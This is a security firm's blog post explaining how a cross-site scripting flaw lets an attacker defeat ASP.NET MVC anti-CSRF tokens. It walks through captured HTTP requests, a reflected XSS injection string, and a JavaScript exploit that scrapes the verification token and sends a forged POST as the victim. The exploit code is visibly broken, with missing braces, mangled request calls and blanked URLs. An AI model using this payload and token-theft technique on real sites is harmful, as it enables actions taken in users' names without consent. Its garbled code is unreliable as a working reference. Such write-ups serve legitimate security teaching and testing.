Skip to main content

Bypassing CSRF Tokens via XSS

December 17, 2015

Many web development platforms provide libraries that handle the creation and validation of tokens with each HTTP request to prevent Cross Site Request Forgery (CSRF). Those libraries are very useful and should definitely be part of any web application. However, the anti-CSRF tokens can still be bypassed in certain conditions.

Consider the following HTTP request to an MVC JSON controller implemented in the most recent version of the .NET framework:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 62
Content-Type: application/json; charset=UTF-8
Accept: */*
Cookie: ai_user=77E8AC28-DB68-4989-A15A-CB454C08C532|2015-11-05T03:17:26.791Z; __RequestVerificationToken=a51PaPDJtfJj2KENd-aSH34zgxpkJ_br-LTyMyGNA-d00pv2QBx_-b8iueBZTkCPq4C0K4fxajboMB6VW84xpSp9coxdYbuDsq3nUgTzLmA1

{"toEmail":"","widgetMessage":"Hi to my friend John!"}

This request, specifically the __RequestVerificationToken is the result of some MVC and JQuery magic in the MVC View:

    <div id="requestdiv">
        <h4>Send a Widget to a Friend!</h4>
        <hr /> …snip…

The token is generated each time the View page is rendered, making the request unpredictable for an attacker to forge and trick an authenticated user’s browser into submitting. The following MVC Controller code on the server side validates the __RequestVerificationToken is the correct one generated for this user, something the attacker would not know unless the attacker had complete control of the victim’s browser (in which case, CSRF is the LEAST of the victim’s concerns):

// POST: /Widget/MvcJson
public ActionResult MvcJson(SendWidgetModel sendWidgetModel)
    return Json(string.Format("Sent {0} to {1}", sendWidgetModel.widgetMessage, sendWidgetModel.toEmail), JsonRequestBehavior.DenyGet);

If an attacker can trick the victim’s browser into submitting a request that is otherwise valid except for the missing __RequestVerificationToken, like this:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 53
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json; charset=UTF-8
Cookie: ai_user=77E8AC28-DB68-4989-A15A-CB454C08C532|2015-11-05T03:17:26.791Z;

{"toEmail":"","widgetMessage":"Hi to my friend John!"}

Then the server will respond with a 500 Server Error status:

HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 13 Nov 2015 17:22:42 GMT
Content-Length: 10607

<!DOCTYPE html>
        <title>The required anti-forgery form field &quot;__RequestVerificationToken&quot; is not present.</title>

This works as designed and will prevent CSRF in most cases, except if the application also has a Cross Site Scripting (XSS) vulnerability, such as the following:

GET /XSS2.aspx?name=John+Doe</h1><script+src=””></script> HTTP/1.1

Which results in the following attacker controlled HTML being written to the victim’s browser:

…snip…<div><h1>Welcome John Smith</h1><script src=""></script></h1>…snip…

Suppose the exploit, csrf.js, is a packed and obfuscated JS file that unravels and beautifies as the following JavaScript code:

function readBody(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else {
        data = xhr.response;
    var parser = new DOMParser();
    var resp = parser.parseFromString(data, "text/html");
    token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
    return data;
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
    if (xhr.readyState == 4) {
        response = readBody(xhr);
}'GET', '', true);
function csrf(token) {
    var sendWidgetModel = {
        "toEmail": '',
        "widgetMessage": "Goodbye, John. We are not friends.",
    var x1 = new XMLHttpRequest();"POST", "");
    x1.setRequestHeader("Content-Type", "application/json; charset=utf-8");
    x1.setRequestHeader('__RequestVerificationToken', token);

This will force the victim’s browser to silently fetch a new copy of the HTML form that contains the MVC Request Forgery Token:

GET /Widget/MvcJson HTTP/1.1

<input name="__RequestVerificationToken" type="hidden" value="r-56ZNKSJf7TbTKq_ep8E5uuUZepDXLa4JKjKB1SMkObO5z_c74esbPEf9lRGXmVhDxswcrQjQr46A0VJs3aSDL6X9Znx_JAsCLf2GC2w3I1" />

The attack will then craft the final CSRF exploit request with the __RequestVerificationToken properly set in the request header:

POST /Widget/MvcJson HTTP/1.1
Content-Length: 62
__RequestVerificationToken: r-56ZNKSJf7TbTKq_ep8E5uuUZepDXLa4JKjKB1SMkObO5z_c74esbPEf9lRGXmVhDxswcrQjQr46A0VJs3aSDL6X9Znx_JAsCLf2GC2w3I1
Content-Type: application/json; charset=UTF-8
Accept: */*
Cookie: ai_user=77E8AC28-DB68-4989-A15A-CB454C08C532|2015-11-05T03:17:26.791Z; __RequestVerificationToken=a51PaPDJtfJj2KENd-aSH34zgxpkJ_br-LTyMyGNA-d00pv2QBx_-b8iueBZTkCPq4C0K4fxajboMB6VW84xpSp9coxdYbuDsq3nUgTzLmA1

{"toEmail":"","widgetMessage":"Goodbye, John. We are not friends."}

Finally, the MVC JSON Controller will parse and validate the CSRF token. The controller will carry out the final action as if the victim intended it:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 13 Nov 2015 17:25:49 GMT
Content-Length: 40

"Sent Goodbye, John. We are not friends. to"

The ASP.NET Request Verification Token framework is one of the best anti-CSRF protections a web application can have, but if a XSS foothold is present in the app, any anti-CSRF token framework is just one extra step for the exploit developer—a minor speed bump. With XSS, all CSRF bets are off. In fact, with XSS present in the application, CSRF should be considered an obligatory post-exploitation activity.

Download and play with example code that corresponds to the requests seen above at:

Related Blogs

September 06, 2012

Bypassing Antivirus with PowerShell

On a recent penetration test, I ran into a number of challenges overcoming antivirus on compromised machines. Although I had already obtained domain a...

See Details

August 04, 2015

Black Hat Tools Arsenal: Burp-Hash Plugin – Part 1

One day a few months back, teammates Matt South and Tim MalcomVetter reviewed a report from an application security assessment performed by another te...

See Details

August 31, 2015

Black Hat Tools Arsenal: Burp-Hash Plugin, Part 2 - How it Works

This is a follow-up post about our Burp-Hash plugin for the Burp Suite that we presented at the Black Hat USA Tools Arsenal. You can read the backstor...

See Details

How Can We Help?

Let us know what you need, and we will have an Optiv professional contact you shortly.

Privacy Policy

Related Insights

May 09, 2018

Application Security

Learn how Optiv can help protect your most critical enterprise applications from both internal and external threats.

See Details

October 31, 2014

Decoding IBM WebShere Portlet URLs

Portlet based web applications built with the IBM Web Experience Factory, previously known as the WebSphere Portlet Factory, produce long URL's contai...

See Details

Stay in the Know

For all the latest cybersecurity and Optiv news, subscribe to our blog and connect with us on Social.


Join our Email List

We take your privacy seriously and promise never to share your email with anyone.

Stay Connected

Find cyber security Events in your area.